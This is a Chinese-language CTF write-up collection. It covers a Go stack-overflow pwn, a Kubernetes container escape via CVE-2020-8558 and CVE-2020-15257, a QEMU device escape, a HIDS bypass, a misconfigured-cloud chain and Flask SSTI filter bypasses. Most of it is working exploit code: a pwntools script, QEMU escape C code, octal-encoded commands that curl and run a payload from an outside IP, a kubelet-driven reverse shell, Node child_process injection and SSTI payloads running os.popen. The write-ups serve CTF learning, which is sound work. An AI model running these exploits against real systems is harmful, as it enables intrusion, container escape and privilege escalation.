2、会把加密的密钥输出

利用思路

1、memcpy函数存在溢出,输入的文件名称会拷贝到一个32字节长度的栈变量上,这里会导致栈溢出。 2、go的栈地址固定,同一系统多次运行栈地址相同(实际测试会有两种情况),所以我们可以通过第一次溢出的panic报错信息泄露栈地址。 3、溢出后会由于open文件错误导致panic,也就是到不了返回地址。这里可以思考使用defer函数指针,defer是go语言提供的关键字,类似于finish,即使执行panic函数,里面也会去遍历defer表执行。具体调用链为gopanic->runOpenDeferFrame->reflectcallSave,reflectcallSave的第二个参数就是执行函数指针。 4、在距离栈变量偏移0x160的位置就是defer的函数指针,覆盖该地址值为栈地址,同时在该栈地址上写上后门函数地址,即可跳到后门函数执行,这里有一个问题,在修改的地址范围内需要修复一个memmove函数的参数,在偏移0x100的地方。 5、利用../home/pwn/flag路径穿越可以将flag文件加密上传到obs桶上,并且会输出密钥,利用3功能获取加密文件内容再使用RSA解密即可得到flag。

exp

decrypt.go

package main

import (
"fmt"
"encoding/base64"
"crypto/x509"
"crypto/rsa"
"crypto/rand"
"crypto/sha256"
"io/ioutil"
)

func main(){
  f,err := ioutil.ReadFile("./privateKey")
  if err !=nil{
      fmt.Println("error read privatekey")
  }
  decodetext,err := ioutil.ReadFile("./flag")
  if err !=nil{
      fmt.Println("error read flag")
  }
  keybytes,err := base64.StdEncoding.DecodeString(string(f))
  if err !=nil{
      fmt.Println("error decodebase64")
  }
  privatekey,err := x509.ParsePKCS1PrivateKey(keybytes)
  if err !=nil{
      fmt.Println("error x509")
  }
  decryptedtext,err := rsa.DecryptOAEP(sha256.New(),rand.Reader,privatekey,decodetext,nil)
  if err !=nil{
      fmt.Println("error decrypt")
  }
  fmt.Println(string(decryptedtext))
}

exploit.py

from pwn import *
import os
import time
p = process("./main")
#p = remote("127.0.0.1",60001)
context.log_level="debug"
#gdb.attach(p,"b *0x6c162f\nb *0x437b1f")
p.sendline("aa")
def list(p):
    p.recvuntil(">>\n")
    p.sendline("1")
def upload(name,p):
    p.recvuntil(">>\n")
    p.sendline("2")
    p.recvuntil(">>\n")
    p.sendline(name)
def download(name,p):
    p.recvuntil(">>\n")
    p.sendline("3")
    p.recvuntil(">>\n")
    p.sendline(name)

upload("a"*0x200,p)
p.recvuntil("fp=")
stack_addr = int(p.recv(9)+"e00",16)
time.sleep(1)
p.close()
p = process("./main")
#p = remote("127.0.0.1",60001)
p.sendline("aa")
upload(p64(0x6c0700)+"a"*0xa0+"b"*0x50+"d"*0x8+p64(stack_addr)+"f"*0x8+"e"*0x10+"c"*0x48+p64(stack_addr)+p64(stack_addr),p)
p.recvuntil(">>\n")
p.sendline("../flag")
p.recvuntil("upload file_name:")
file_name = p.recvline()[:-1]
print file_name
p.recvuntil("privateKey:  ")
privateKey = p.recvline()
print privateKey
with open("./privateKey","wb") as f:
    f.write(privateKey)
time.sleep(3)
p1 = process("./main")
#p1 = remote("127.0.0.1",60001)
p1.sendline("aa")
download(file_name,p1)
p1.recvuntil("GMT\n")
encrypt_flag = p1.recvuntil("####")[:-5]
with open("./flag","wb") as f:
    f.write(encrypt_flag)
p1.close()
process = os.popen("./decrypt")
output = process.read()
print output
process.close()

nday_container_escape

1. 背景

在筹备比赛题目的时间里,有一个新爆出的漏洞CVE-2020-15257比较火。漏洞出现在docker的关键组件containerd中,当一个容器拥有host网络命名空间时,可以导致容器逃逸。这首次揭示了network namespace的安全风险,具有一定的借鉴意义。

但是,这个漏洞从实践层面上看又有一点鸡肋:

  1. host网络通常较少在实际场景中出现(因为端口转发通常已足够使用)

  2. host网络在CIS docker基线中是一个禁止项,因此成熟的生产环境中,几乎不会出现该场景

  3. 即使使用了host网络的容器,不一定公网可访问,不一定存在命令执行漏洞

为此漏洞的利用场景受限感到惋惜的同时,我希望能构建一个更常用的环境,放大其利用场景。

CVE-2020-8558就是一个非常好用的放大器(不起眼,实战中不一定修复),该漏洞是由于kube-proxy默认设置了route_localnet,允许邻近主机绕过localhost边界。

因此我们可能从一个非host网络容器直接逃逸!

2. 环境搭建

根据上述分析,我们很容易可以构造这样一个贴近实战的漏洞利用链:CVE-2020-8558--->k8s 10250--->CVE-2020-15257

其环境大致如下:

我将上述环境搭建在了qemu里,选手可以ssh进入qemu中的容器内,发现漏洞并逃逸至qemu。

上述qemu被封装在了一个docker镜像中(所以实际环境是一个docker in qemu in docker的环境),可以使用以下配置启动环境

version: '3'
services:
      challenge:
              image: swr.cn-south-1.myhuaweicloud.com/huaweictf/ctf_nday_docker_escape:v0.1
              ports:
                      - "2222:22"

3. writeup

3.1 信息收集

以ctf/ctf进入环境,我们大致会看到这样一些信息,此时我们位于一个容器内,该容器由k8s启动的

st0n3@yoga:~$ ./ctf.expect 
spawn ssh -o StrictHostKeyChecking=no ctf@1.2.3.4
ctf@1.2.3.4's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-47-generic x86_64)
...
++ sudo KUBECONFIG=/etc/kubernetes/admin.conf kubectl get pods --selector=app=ubuntu --template '{{range .items}}{{.metadata.name}}{{end}}'
+ name=ubuntu-deployment-55786db8b8-qqmkf
++ sudo docker ps -f name=k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf --format '{{.Names}}'
+ container_name=k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf_default_e4aaee57-ad1c-42eb-a0c0-a175bdaec7cd_6
+ sudo docker exec -ti -u root k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf_default_e4aaee57-ad1c-42eb-a0c0-a175bdaec7cd_6 /bin/bash
root@ubuntu-deployment-55786db8b8-qqmkf:/#
root@ubuntu-deployment-55786db8b8-qqmkf:/# cat /proc/self/cgroup
12:pids:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
11:rdma:/
10:devices:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
9:hugetlb:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
8:memory:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
7:perf_event:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
6:cpu,cpuacct:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
5:cpuset:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
4:freezer:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
3:blkio:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
2:net_cls,net_prio:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
1:name=systemd:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
0::/system.slice/containerd.service

因为看到了k8s相关的信息,所以我们可以条件反射式的找到k8s token

root@ubuntu-deployment-55786db8b8-qqmkf:/# cat /var/run/secrets/kubernetes.io/serviceaccount/token 
eyJhbGciOiJSUzI1NiIsI...

宿主机信息收集:

root@ubuntu-deployment-55786db8b8-qqmkf:/# sed -i "s@http://.*ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get update && apt-get install curl -y
security-groupsroot@ubuntu-deployment-55786db8b8-qqmkf:/# curl http://169.254.169.254/latest/meta-data/local-ipv4
192.168.1.117

注意,以上步骤在选手本地环境中无法实现(因为是模拟的云环境),但对宿主机网络进行探测的方式有很多种,下面也会提及。

此时我们可以对该ip上开启的服务进行探测

root@ubuntu-deployment-55786db8b8-qqmkf:~# nmap -F 192.168.1.117
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-21 03:16 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 03:16 (0:00:00 remaining)
Nmap scan report for 192-168-1-117.kubernetes.default.svc.cluster.local (192.168.1.117)
Host is up (0.0000040s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

经过类似上述常规的思路进行信息收集后,我们还是觉得不太够。好在我们本地已有环境的所有内容。我们分析一下比赛提供给选手的本地镜像文件:

╰$ docker ps |grep escape                         
d95748ab048b        swr.cn-south-1.myhuaweicloud.com/huaweictf/ctf_nday_docker_escape:v0.1   "/start_vm.sh"           13 hours ago        Up 13 hours         0.0.0.0:2222->22/tcp                 downloads_challenge_1
╰$ docker exec -ti -u root d95 bash               
root@d95748ab048b:/# ls
bin  boot  cloud.img  cloud.txt  dev  etc  home  init_qemu.expect  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  start_vm.sh  sys  tmp  ubuntu-20.04-server-cloudimg-amd64.img  usr  var

其中,容器的启动文件为start_vm.sh,同时还有cloud.img, cloud.txt, ubuntu-20.04-server-cloudimg-amd64.img等与题目相关的文件。

cloud.txt是环境搭建的具体配置,其中包括qemu的root密码及相关软件的版本(注意,真实环境root密码不同,此处密码仅供选手调试使用)

root@d95748ab048b:/# cat cloud.txt 
#cloud-config
user: root
password: root
....
  - apt-get install -y docker.io kubelet=1.18.3-00 kubeadm=1.18.3-00 kubectl=1.18.3-00

上述信息我们也可以直接重置qemu磁盘中的root密码后,进入qemu内获取。

我们直接启动qemu,并以root用户进入qemu,以便我们更好的了解题目结构:

# docker version
Client:
 Version:           19.03.8
 API version:       1.40
 Go version:        go1.13.8
 Git commit:        afacb8b7f0
 Built:             Wed Oct 14 19:43:43 2020
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          19.03.8
  API version:      1.40 (minimum version 1.12)
  Go version:       go1.13.8
  Git commit:       afacb8b7f0
  Built:            Wed Oct 14 16:41:21 2020
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.3.3-0ubuntu2
  GitCommit:        
 runc:
  Version:          spec: 1.0.1-dev
  GitCommit:        
 docker-init:
  Version:          0.18.0
  GitCommit:    
root@ubuntu:~# kubelet --version
Kubernetes v1.18.3

3.2 利用思路

根据相关软件版本信息,我们可以发现以下漏洞

  • k8s: CVE-2020-8558

  • containerd: CVE-2020-15257

但在我们初始进入的容器中,没有CVE-2020-15257必需的host network条件, 但在另一台nginx容器中发现使用了host network

# kubectl get pods
NAME                                 READY   STATUS    RESTARTS   AGE
nginx-deployment-6dc88697bf-tkk6f    1/1     Running   6          3d1h
ubuntu-deployment-55786db8b8-qqmkf   1/1     Running   6          3d
root@hwc-ctf-nday-container-escape-with-flag:~# kubectl get pod nginx-deployment-6dc88697bf-tkk6f -o yaml
...
spec:
  containers:
  - image: nginx:1.14.2
    imagePullPolicy: IfNotPresent
    name: nginx
    ports:
    - containerPort: 80
      hostPort: 80
      protocol: TCP
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: default-token-2lcjs
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  hostNetwork: true
...

因此,如果我们可以移动到nginx容器上,则可以利用CVE-2020-15257实现逃逸。

在k8s中移动,很自然得会想到需要一个跳板——k8s api

# netstat -anp |grep kube
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN      541/kubelet         
tcp        0      0 127.0.0.1:10249         0.0.0.0:*               LISTEN      4219/kube-proxy     
tcp        0      0 127.0.0.1:10250         0.0.0.0:*               LISTEN      541/kubelet         
tcp        0      0 127.0.0.1:10257         0.0.0.0:*               LISTEN      2943/kube-controlle 
tcp        0      0 127.0.0.1:10259         0.0.0.0:*               LISTEN      2921/kube-scheduler 
tcp        0      0 127.0.0.1:46775         0.0.0.0:*               LISTEN      541/kubelet         
...
tcp6       0      0 :::6443                 :::*                    LISTEN      2934/kube-apiserver 
tcp6       0      0 :::10251                :::*                    LISTEN      2921/kube-scheduler 
tcp6       0      0 :::10252                :::*                    LISTEN      2943/kube-controlle 
tcp6       0      0 :::10256                :::*                    LISTEN      4219/kube-proxy     
tcp6       0      0 192.168.1.117:6443      10.244.0.22:40524       ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:4927      ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45714     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 ::1:6443                ::1:53110               ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      10.244.0.23:53220       ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45776     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 ::1:53110               ::1:6443                ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45784     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45716     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45554     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45556     ESTABLISHED 2934/kube-apiserver

我们发现了127.0.0.1:10250和192.168.1.117:6443较为敏感,但经过尝试我们发现使用容器的token似乎无法访问apiserver的api

root@hwc-ctf-nday-container-escape-with-flag:~# curl -k https://192.168.1.117:6443/api/v1/pods -H "Authorization: Bearer $token"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
   
},
"status": "Failure",
"message": "pods is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"pods\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
  "kind": "pods"
},
"code": 403

但可以使用10250

root@hwc-ctf-nday-container-escape-with-flag:~# curl -k https://127.0.0.1:10250/pods -H "Authorization: Bearer $token"
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-proxy-wkq47","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-wkq47","uid":"97f98bae-7c73-4fa2-b10c-769dc04728a1","resourceVersion":"8616","creationTimestamp":"2020-12-18T02:10:44Z","labels":{"controller-revision-hash":"6c749dc6c4","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2020-12-19T22:46:29.084763601+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"47cbac3b-60f0-440e-b73d-079740a4bb46","controller":true,"blockOwnerDele...

因此我们可由10250移动至nginx

但问题是10250是绑定在宿主机127.0.0.1上的,在容器内无法直接访问。这时我们可以很自然的联想到CVE-2020-8558。

因此完整的利用链如下

  1. 在ubuntu容器中利用CVE-2020-8558,访问宿主机127.0.0.1

  2. 利用ubuntu容器中的token,访问宿主机的10250端口,横向移动至nginx容器

  3. 在nginx容器中利用CVE-2020-15257逃逸至宿主机

3.3 完整利用过程

root@ubuntu-deployment-55786db8b8-qqmkf:/# sed -i "s@http://.*ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get update 
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get install -y curl wget python3 python3-pip
root@ubuntu-deployment-55786db8b8-qqmkf:/# pip3 install scapy
root@ubuntu-deployment-55786db8b8-qqmkf:/# python3 poc-2020-8558.py 192.168.1.117 &
[1] 4414
root@ubuntu-deployment-55786db8b8-qqmkf:/# token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) 
root@ubuntu-deployment-55786db8b8-qqmkf:/# url="https://198.51.100.1:10250"
root@ubuntu-deployment-55786db8b8-qqmkf:/# api="/run/default/$target/nginx"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -k  $url/pods -H "Authorization: Bearer $token"
{"kind":"PodList"...
root@ubuntu-deployment-55786db8b8-qqmkf:/# target="nginx-deployment-6dc88697bf-tkk6f"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d 'cmd=sed -i s@http://.*debian.org@http://repo.huaweicloud.com@g /etc/apt/sources.list'
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=apt-get update"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=apt-get install -y wget"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=wget https://xxx/cdk_linux_amd64"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=chmod -c 755 cdk_linux_amd64"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=./cdk_linux_amd64 run shim-pwn 10.244.0.21 2333"

接收反弹shell

root@ubuntu-deployment-55786db8b8-qqmkf:/# nc -lvp 2333
Listening on 0.0.0.0 2333
Connection received on 10.244.0.1 46900
bash: cannot set terminal process group (4366): Inappropriate ioctl for device
bash: no job control in this shell
<f096a309f175a39f23fce68ffc0032ee64916c/merged/tmp# hostname
hostname
hwc-ctf-nday-container-escape-with-flag
<f096a309f175a39f23fce68ffc0032ee64916c/merged/tmp# cat /flag
cat /flag
flag{1ffc4afe-d52a-4476-ad00-1f5c8e9a063d}

注:本文使用的相关cve的exp分别为:

qemu-zzz

说明

这是一道qemu逃逸题,在程序启动时添加了一个设备zzz,zzz设备中预留了一个off by one的漏洞。

  • zzz的代码是基于edu.c的代码进行编写的

启动脚本

#! /bin/sh
#gdb --args \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
-monitor /dev/null \
-m 64M --nographic \
-device zzz \
-L pc-bios

漏洞位置

if ( obj->idx + cnt - 1 > DMA_SIZE )
{
    return ;
}

利用过程

  1. 通过单字节溢出泄露设备地址的最后一位

  2. 修改最后一位导致设备基址发生变化,设备中变量位置发生偏移

  3. 在dma_buf中预留数据,设备发生偏移时,可以控制地址,长度,偏移的内容

  4. 根据新的偏移和长度,泄露出堆地址和程序地址

  5. 通过xor操作修改长度和偏移,修改读写标志位,导致从写到读

  6. 向dma_rw函数指针地址写入system,在对齐的偏移处写入要执行的命令

int main(int argc, char *argv[])
{
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED)
        die("mmap");
    
    mlock(userbuf, 0x1000);
    phy_userbuf=gva_to_gpa(userbuf);
    
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (fd == -1)
    {
        die("open resource0 faild\n");
    }

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mmio_mem == MAP_FAILED)
    {
        die("mmap faild\n");
    }
    
    printf("addr %p,0x%lx\n",userbuf,phy_userbuf);
    
    // set dma addr
    mmio_write(0x20,phy_userbuf >> 12);
     
    //memcpy(userbuf,"/bin/sh\x00",8);
    // addr
    *(uint64_t*)(userbuf + 0x11) = phy_userbuf;
    // cnt
    *(uint16_t*)(userbuf + 0x11 +8) = 0xff5;
    // idx
    *(uint16_t*)(userbuf + 0x11 +8+2) = 11;
    
    set_idx(0);
    set_cnt(0x30);
    mmio_write(0x60,0);
        
    set_idx(0x1000-1);
    set_cnt(2|1);
    mmio_write(0x60,0);
    uint8_t off = userbuf[1];
    
    printf("leak = %hhx\n",off);
    
    // cnt
    *(uint16_t*)(userbuf) = 0xff5;
    // idx
    *(uint16_t*)(userbuf+2) = 11;
    
    userbuf[0x1000-0x19] = off + 0x21;
 
    set_idx(0x19);
    set_cnt(0x1000-0x19+1);
    mmio_write(0x60,0);
    
    // new buf = dma_buf + 0x21;

    // leak ptr
    mmio_write(0x60,0);
    uint64_t device = *(uint64_t*)&userbuf[0x1000-0x21-11];
    uint64_t dma_rw = *(uint64_t*)&userbuf[0x1000-0x21-11+8];
    uint64_t dma_buf = device + 0x9cf;
    
    printf("device = 0x%lx\n",device);
    printf("dma_rw = 0x%lx\n",dma_rw);
    
    // encrypt
    mmio_write(0x50,0);
    // idx = 11 ^ 521 = 514
    // cnt = 0xff5 ^ 521 = 0xdfc
    
    uint64_t start = dma_buf + 0x21 + 514;
    uint64_t align = (start + 0xfff) & ~0xfff;
    
    assert(align <= start + 0xdfc);
    
    printf("start = 0x%lx\n",start);
    printf("align = 0x%lx\n",align);
    
    *(uint64_t *)userbuf = align;
    *(uint16_t *)(userbuf + 8) = 0;
    *(uint16_t *)(userbuf + 8 + 2) = 0;
    
    char cmd[] = "/bin/sh\x00";
    memcpy(userbuf + (align - start),cmd,sizeof(cmd));
    
    // idx = 514
    *(uint64_t *)&userbuf[0x1000-0x21-514] = device + 514 + 0x10;  
    *(uint64_t *)&userbuf[0x1000-0x21-514+8] = dma_rw - 0x314b40; 

    // write
    mmio_write(0x60,0);
    mmio_write(0x60,0);
}

WEB

hids

用8进制编码绕过命令字符的过滤

whoami可转换成$(printf$IFS"\167\150\157\141\155\151");

伪装进程,绕过检测程序

根目录下发现detect.py文件,会定时kill非web的进程 查看检测逻辑,可知只要伪装ppid和进程名即可绕过

  • ppid绕过,通过fork子进程后退出

  • 进程名绕过,通过修改argv即可 在自己的vps编译下面的c文件,可以得到运行/readflag的exp

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
int main(int argc, const char* argv[], const char* envp[])
{
    int i;
    for (i = 0; envp[i]; ++i);
    const char *p = envp[i-1] + strlen(envp[i-1]) + 1;

    //move environ info
    char **ptrs = (char**)malloc(sizeof(char*) * i);
    ptrs[0] = (char*)malloc(p - envp[0]);
    memcpy(ptrs[0], envp[0], p - envp[0]);
    //copy ptr address
    for (int j = 1; j < i; ++j) {
        ptrs[j] = ptrs[j-1] + (envp[j] - envp[j-1]);
    }
    for (int j = 0; j < i; ++j) {
        envp[j] = ptrs[j];
    }
    free((void*)ptrs);
    memset((char*)argv[0], 0, p - argv[0]);
    snprintf((char*)argv[0], p - argv[0], "/usr/sbin/cron");

    pid_t pid = fork();
    if(pid>0)exit(0);
    else if(pid==0){
        sleep(1);
        int ret = execv("/readflag", argv);
    }
    return 0;
}

获取flag流程

1.执行

$(printf$IFS"\143\165\162\154\40\61\61\67\56\65\60\56\67\56\62\63\60\57\145\170\160\40\55\157\40\57\164\155\160\57\145\170\160");$(printf$IFS"\143\150\155\157\144\40\53\170\40\57\164\155\160\57\145\170\160");$(printf$IFS"\57\164\155\160\57\145\170\160")>$(printf$IFS"\57\164\155\160\57\146\154\141\147");

即curl 117.50.7.230/exp -o /tmp/exp ; chmod +x /tmp/exp ;/tmp/exp > /tmp/flag;的编码形式 其中117.50.7.230/exp可以换成自己编译好的exp的地址

2.90秒后,执行下面的命令,读取flag(即cat /tmp/flag;)

$(printf$IFS"\143\141\164\40\57\164\155\160\57\146\154\141\147");

3.清除flag,避免被他人利用(即rm -rf /tmp/*)

$(printf$IFS"\162\155\40\55\162\146\40\57\164\155\160\57\52");

cloud

该题目模拟了一个配置不当的云环境

  1. 作为⼀个云服务商的对外展示站,本站⼊⼝点是⼀个静态⽹站,我们对⽹站进⾏扫描,发现以下⼀些有趣的地⽅

    管理员登录⼝ /admin
```
phpinfo.php
```

结合中间件Nginx来判断,⽬标服务器存在反向代理的情况。同时托管了半静态⽹站(beego框架)和php
  1. 通过对管理员登录⼝的弱密码猜解, admin:admin 可以获得以下信息,很明显这是上⼀个⿊客留下的后⻔程序。

    得到shadowclient的源代码。分析源代码可以得知这是⼀个websocket隧道代理

    通过编译运⾏并通过附加cookie的参数就能向以服务器⽹络权限服务器发起访问。

    ./shadowclient -c beegosessionID=65c3ab016dc35d4c902755456d11209b -l
    127.0.0.1:10800 -o http://127.0.0.1 -p UAF -r ws://localhost/wsproxy

    接下来,可以进⾏服务端端⼝探测了

    挂上代理,使用proxychians + nmap -sT 端口扫描,可以得到127.0.0.1开放了端口9000,是php-fpm的端口,可以 rce,参考 phith0n 的脚本打一下

    https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

    获得了 www-data 权限,在根目录可以找到 flag1

  1. 研究后台其他进程,可以看到一个叫 sharewaf 的软件正在运行,监听了端口 13090

    查看该软件的⽂档
    http://www.sharewaf.com/

    账号密码在 根目录的 password.txt.swp 中可以找到登录用的账号密码。

    登陆 waf 后台后,在其他页面中可以在安全辅助功能中插入代码,直接插入 js 代码,

    var exec = require('child_process').exec;
    function execute(cmd){
    exec(cmd, function(error, stdout, stderr) {
    if(error){
    console.error(error);
    }
    else{
    console.log("success");
    }
    });
    }
    execute('ls /root > /tmp/1.txt');
    execute('cat /root/*.txt >> /tmp/1.txt');

    重启 waf 即可触发 js 代码执行,反弹 shell 或者列目录 /root 即可看到flag2,完成提权过程。

    此时的⽤户是root

⾄此我们完成了从外⽹突破到内⽹应⽤攻击到内⽹提权的过程。

备注

该题有两个flag

/flag1: 82648554-ff31-460a-977e-c1008ea6e02e /root/flag2: d43af794-94ef-40d1-af75-b4e8c6ca3bf3

mine1

该题目考察SSTI绕过技巧

主页是一个扫雷游戏,完成游戏后将进入/success界面

location.href = './success?msg='+name;

进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格

经过FUZZ可以发现过滤了_ [ ' " path args host headers endpoint json user_agent

正常的SSTI思路是很难实现了,这里需要利用的是request对象,request对象有很多属性,其中大部分属性都被过滤了,而我们可以使用其data属性。

而data属性得到的是一个byte型数据,我们可以用decode()函数将其转换为字符串,然后用split()函数得到一个数组,从而实现SSTI

最终payload:

GET /success?msg={{1|attr(request.data.decode().split().pop(0))|attr(request.data.decode().split().pop(1))|attr(request.data.decode().split().pop(2))()|attr(request.data.decode().split().pop(3))(71)|attr(request.data.decode().split().pop(4))|attr(request.data.decode().split().pop(5))|attr(request.data.decode().split().pop(3))(request.data.decode().split().pop(6))|attr(request.data.decode().split().pop(3))(request.data.decode().split().pop(7))(request.data.decode().split().pop(8))}} HTTP/1.1
Host: 39.96.23.228:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 130

__class__ __base__ __subclasses__ __getitem__ __init__ __globals__ __builtins__ eval __import__("os").popen("cat<flag.txt").read()

mine2

该题目考察SSTI绕过技巧

主页是一个扫雷游戏,完成游戏后将进入/success界面

location.href = './success?msg='+name;

进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格

经过FUZZ可以发现过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get 空格等字符

首先,过滤了{{可以用 {% %}来代替

然后选手需要考虑的是如果构造出被ban的字符串,比如带_的字符串。

set被过滤导致选手无法通过变量赋值来得到想要的字符串,比如set se=dict(se=1).keys()|reverse|first就将se这个字符串赋值给了se变量。

~被过滤导致选手无法使用一些巧妙的拼接技巧来获取想要的字符串

[or 被过滤导致选手难以通过[index]{%for %}等技巧获取数组中的值

.被过滤导致选手无法使用一些常用函数,只能使用过滤器

u被过滤是为了防止unicode编码非预期

那么这里考察的就是选手对过滤器以及python内置类的方法的掌握程度了

经过查阅python手册,可以找到python的'byte'类存在fromhex方法,可以从十六进制转换为字符串。

那么我们可以通过 "a"|attr("encode")() 得到byte类型的数据,然后通过fromhex得到目标字符串,然后再通过decode函数转回字符串类型,最后一个attr过滤器,就可以进行ssti注入了

这里我们为了从数组中得到某个元素,我们需要调用其pop方法或者get方法,但是需要注意的是,pop方法会破坏环境,导致pop得到数组元素后,下一次再想获取数组元素就获取不到了。

而且这里get和pop字符串也被过滤了,如何用十六进制转换回字符串,再将他作为函数名来调用,这也是选手需要考虑的问题。

最终payload:

